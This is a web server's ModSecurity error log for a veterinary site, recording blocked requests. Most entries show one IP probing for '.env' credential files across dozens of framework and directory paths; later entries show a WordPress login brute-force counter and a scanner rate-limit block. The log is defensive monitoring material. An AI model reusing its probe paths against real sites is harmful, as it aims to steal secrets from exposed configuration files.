[Sat May 09 03:40:43.319977 2026] [:error] [pid 44316:tid 44326] [client 3.106.208.88:34264] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/apps/.env"] [unique_id "af48O0JuKmhXjWVHcKlb4AAAAMg"]
[Sat May 09 03:40:43.378211 2026] [:error] [pid 44316:tid 44338] [client 3.106.208.88:34266] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "af48O0JuKmhXjWVHcKlb4gAAANM"]
[Sat May 09 03:40:43.433919 2026] [:error] [pid 44316:tid 44341] [client 3.106.208.88:34276] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "af48O0JuKmhXjWVHcKlb4wAAANY"]
[Sat May 09 03:40:43.493936 2026] [:error] [pid 44316:tid 44325] [client 3.106.208.88:34290] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "af48O0JuKmhXjWVHcKlb5QAAAMc"]
[Sat May 09 03:40:43.554220 2026] [:error] [pid 44316:tid 44329] [client 3.106.208.88:34304] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "af48O0JuKmhXjWVHcKlb5gAAAMs"]
[Sat May 09 03:40:43.608129 2026] [:error] [pid 44316:tid 44318] [client 3.106.208.88:34316] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "af48O0JuKmhXjWVHcKlb6AAAAMA"]
[Sat May 09 03:40:43.663139 2026] [:error] [pid 44316:tid 44336] [client 3.106.208.88:34318] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "af48O0JuKmhXjWVHcKlb6gAAANI"]
[Sat May 09 03:40:43.724116 2026] [:error] [pid 44316:tid 44328] [client 3.106.208.88:34330] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "af48O0JuKmhXjWVHcKlb7AAAAMo"]
[Sat May 09 03:40:43.780533 2026] [:error] [pid 44316:tid 44342] [client 3.106.208.88:34346] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/frontend/.env"] [unique_id "af48O0JuKmhXjWVHcKlb7QAAANc"]
[Sat May 09 03:40:43.840348 2026] [:error] [pid 44316:tid 44331] [client 3.106.208.88:34348] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.env"] [unique_id "af48O0JuKmhXjWVHcKlb8AAAAM0"]
[Sat May 09 03:40:43.906559 2026] [:error] [pid 44316:tid 44341] [client 3.106.208.88:34364] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "af48O0JuKmhXjWVHcKlb8QAAANY"]
[Sat May 09 03:40:43.961717 2026] [:error] [pid 44220:tid 44261] [client 3.106.208.88:34376] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/app/.env"] [unique_id "af48O-0E1veDTHGCCmMkogAAAEQ"]
[Sat May 09 03:40:44.018497 2026] [:error] [pid 44316:tid 44325] [client 3.106.208.88:34390] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "af48PEJuKmhXjWVHcKlb8wAAAMc"]
[Sat May 09 03:40:44.074958 2026] [:error] [pid 44316:tid 44343] [client 3.106.208.88:34404] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/private/.env"] [unique_id "af48PEJuKmhXjWVHcKlb9AAAANg"]
[Sat May 09 03:40:44.129333 2026] [:error] [pid 44316:tid 44334] [client 3.106.208.88:34410] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/application/.env"] [unique_id "af48PEJuKmhXjWVHcKlb9QAAANA"]
[Sat May 09 03:40:44.187525 2026] [:error] [pid 44316:tid 44330] [client 3.106.208.88:34422] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/bootstrap/.env"] [unique_id "af48PEJuKmhXjWVHcKlb9wAAAMw"]
[Sat May 09 03:40:44.263026 2026] [:error] [pid 44316:tid 44327] [client 3.106.208.88:34432] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/database/.env"] [unique_id "af48PEJuKmhXjWVHcKlb-wAAAMk"]
[Sat May 09 03:40:44.326519 2026] [:error] [pid 44316:tid 44338] [client 3.106.208.88:34444] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/storage/.env"] [unique_id "af48PEJuKmhXjWVHcKlb_QAAANM"]
[Sat May 09 03:40:44.381828 2026] [:error] [pid 44316:tid 44333] [client 3.106.208.88:34450] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/.env"] [unique_id "af48PEJuKmhXjWVHcKlb_gAAAM8"]
[Sat May 09 03:40:44.442527 2026] [:error] [pid 44316:tid 44339] [client 3.106.208.88:34462] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/html/.env"] [unique_id "af48PEJuKmhXjWVHcKlcAAAAANQ"]
[Sat May 09 03:40:44.503949 2026] [:error] [pid 44316:tid 44334] [client 3.106.208.88:34478] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/current/.env"] [unique_id "af48PEJuKmhXjWVHcKlcAgAAANA"]
[Sat May 09 03:40:44.585513 2026] [:error] [pid 44316:tid 44318] [client 3.106.208.88:34484] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/release/.env"] [unique_id "af48PEJuKmhXjWVHcKlcAwAAAMA"]
[Sat May 09 03:40:44.645250 2026] [:error] [pid 44221:tid 44290] [client 3.106.208.88:34490] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/releases/.env"] [unique_id "af48PC3hCAZFDNMt0RGXZwAAAIY"]
[Sat May 09 03:40:44.699677 2026] [:error] [pid 44316:tid 44326] [client 3.106.208.88:34498] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/shared/.env"] [unique_id "af48PEJuKmhXjWVHcKlcBQAAAMg"]
[Sat May 09 03:40:44.764631 2026] [:error] [pid 44219:tid 44232] [client 3.106.208.88:34510] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/deploy/.env"] [unique_id "af48PAyQXxnoCxv60m7dmwAAAAI"]
[Sat May 09 03:40:44.820324 2026] [:error] [pid 44221:tid 44305] [client 3.106.208.88:34526] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/build/.env"] [unique_id "af48PC3hCAZFDNMt0RGXaAAAAJU"]
[Sat May 09 03:40:44.877553 2026] [:error] [pid 44220:tid 44271] [client 3.106.208.88:34530] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dist/.env"] [unique_id "af48PO0E1veDTHGCCmMkowAAAE4"]
[Sat May 09 03:40:44.936018 2026] [:error] [pid 44221:tid 44295] [client 3.106.208.88:34532] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public_html/.env"] [unique_id "af48PC3hCAZFDNMt0RGXaQAAAIs"]
[Sat May 09 03:40:45.000331 2026] [:error] [pid 44221:tid 44296] [client 3.106.208.88:34546] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/htdocs/.env"] [unique_id "af48PC3hCAZFDNMt0RGXagAAAIw"]
[Sat May 09 03:40:45.056911 2026] [:error] [pid 44220:tid 44257] [client 3.106.208.88:34556] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/www/.env"] [unique_id "af48Pe0E1veDTHGCCmMkpAAAAEA"]
[Sat May 09 03:40:45.112305 2026] [:error] [pid 44221:tid 44294] [client 3.106.208.88:34558] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/html/.env"] [unique_id "af48PS3hCAZFDNMt0RGXawAAAIo"]
[Sat May 09 03:40:45.300771 2026] [:error] [pid 44316:tid 44328] [client 3.106.208.88:34564] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/live/.env"] [unique_id "af48PUJuKmhXjWVHcKlcCwAAAMo"]
[Sat May 09 03:40:45.414582 2026] [:error] [pid 44316:tid 44325] [client 3.106.208.88:34566] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prod/.env"] [unique_id "af48PUJuKmhXjWVHcKlcDAAAAMc"]
[Sat May 09 03:40:45.697773 2026] [:error] [pid 44316:tid 44334] [client 3.106.208.88:34576] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dev/.env"] [unique_id "af48PUJuKmhXjWVHcKlcDwAAANA"]
[Sat May 09 03:40:45.883351 2026] [:error] [pid 44220:tid 44267] [client 3.106.208.88:34588] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/staging/.env"] [unique_id "af48Pe0E1veDTHGCCmMkpgAAAEo"]
[Sat May 09 03:40:46.080890 2026] [:error] [pid 44219:tid 44244] [client 3.106.208.88:34604] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/opt/.env"] [unique_id "af48PgyQXxnoCxv60m7dnQAAAA4"]
[Sat May 09 03:40:46.279867 2026] [:error] [pid 44219:tid 44231] [client 3.106.208.88:34608] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/laravel/.env"] [unique_id "af48PgyQXxnoCxv60m7dnwAAAAE"]
[Sat May 09 03:40:46.487732 2026] [:error] [pid 44219:tid 44238] [client 3.106.208.88:34624] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/symfony/.env"] [unique_id "af48PgyQXxnoCxv60m7doQAAAAg"]
[Sat May 09 03:40:46.611365 2026] [:error] [pid 44221:tid 44302] [client 3.106.208.88:34634] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wordpress/.env"] [unique_id "af48Pi3hCAZFDNMt0RGXbwAAAJI"]
[Sat May 09 03:40:46.836424 2026] [:error] [pid 44220:tid 44279] [client 3.106.208.88:34636] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp/.env"] [unique_id "af48Pu0E1veDTHGCCmMkpwAAAFY"]
[Sat May 09 03:40:46.969156 2026] [:error] [pid 44221:tid 44297] [client 3.106.208.88:34648] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/cms/.env"] [unique_id "af48Pi3hCAZFDNMt0RGXcQAAAI0"]
[Sat May 09 03:40:47.233911 2026] [:error] [pid 44220:tid 44273] [client 3.106.208.88:34658] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/drupal/.env"] [unique_id "af48P-0E1veDTHGCCmMkqwAAAFA"]
[Sat May 09 03:40:47.432907 2026] [:error] [pid 44220:tid 44264] [client 3.106.208.88:34670] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/joomla/.env"] [unique_id "af48P-0E1veDTHGCCmMkrAAAAEc"]
[Sat May 09 03:40:47.642023 2026] [:error] [pid 44220:tid 44257] [client 3.106.208.88:34676] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/magento/.env"] [unique_id "af48P-0E1veDTHGCCmMkrgAAAEA"]
[Sat May 09 03:40:47.769575 2026] [:error] [pid 44220:tid 44259] [client 3.106.208.88:34686] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/shopify/.env"] [unique_id "af48P-0E1veDTHGCCmMksAAAAEI"]
[Sat May 09 03:40:47.902605 2026] [:error] [pid 44221:tid 44295] [client 3.106.208.88:34700] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prestashop/.env"] [unique_id "af48Py3hCAZFDNMt0RGXcgAAAIs"]
[Sat May 09 03:40:48.122967 2026] [:error] [pid 44316:tid 44321] [client 3.106.208.88:53520] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/codeigniter/.env"] [unique_id "af48QEJuKmhXjWVHcKlcIgAAAMM"]
[Sat May 09 03:40:48.342247 2026] [:error] [pid 44221:tid 44293] [client 3.106.208.88:53536] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/cakephp/.env"] [unique_id "af48QC3hCAZFDNMt0RGXdAAAAIk"]
[Sat May 09 03:40:48.522091 2026] [:error] [pid 44219:tid 44248] [client 3.106.208.88:53548] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/zend/.env"] [unique_id "af48QAyQXxnoCxv60m7dpAAAABI"]
[Sat May 09 04:00:19.827648 2026] [:error] [pid 9184:tid 9202] [client 45.92.229.119:42319] [client 45.92.229.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af5A04jfODqb_i0Fm99KnQAAAAU"]
[Sat May 09 04:46:50.720702 2026] [:error] [pid 9833:tid 9855] [client 217.182.194.25:52684] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "af5LuiM9JmxIS0KGZUApnwAAAZE"]
[Sat May 09 04:46:53.133892 2026] [:error] [pid 9187:tid 9273] [client 217.182.194.25:34926] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "af5LvRC7An6gkXsRsaHOTgAAAJQ"]
[Sat May 09 04:46:55.654109 2026] [:error] [pid 9833:tid 9849] [client 217.182.194.25:34938] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "af5LvyM9JmxIS0KGZUApoQAAAYs"]
[Sat May 09 04:46:58.041650 2026] [:error] [pid 9293:tid 9300] [client 217.182.194.25:44514] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "af5LwpR__qEzV5O6Z2OpjgAAAMM"]
[Sat May 09 04:47:00.528986 2026] [:error] [pid 9663:tid 9672] [client 217.182.194.25:44520] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "af5LxJcWIu01SCxbjwu5swAAAQY"]
[Sat May 09 04:47:02.996841 2026] [:error] [pid 9920:tid 9922] [client 217.182.194.25:44532] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "af5LxkxitGYhlzgZb5ZJrQAAAcA"]
[Sat May 09 04:47:05.515841 2026] [:error] [pid 9920:tid 9940] [client 217.182.194.25:44540] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "af5LyUxitGYhlzgZb5ZJtAAAAdI"]
[Sat May 09 04:47:07.935821 2026] [:error] [pid 9833:tid 9844] [client 217.182.194.25:51188] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "af5LyyM9JmxIS0KGZUApqQAAAYY"]
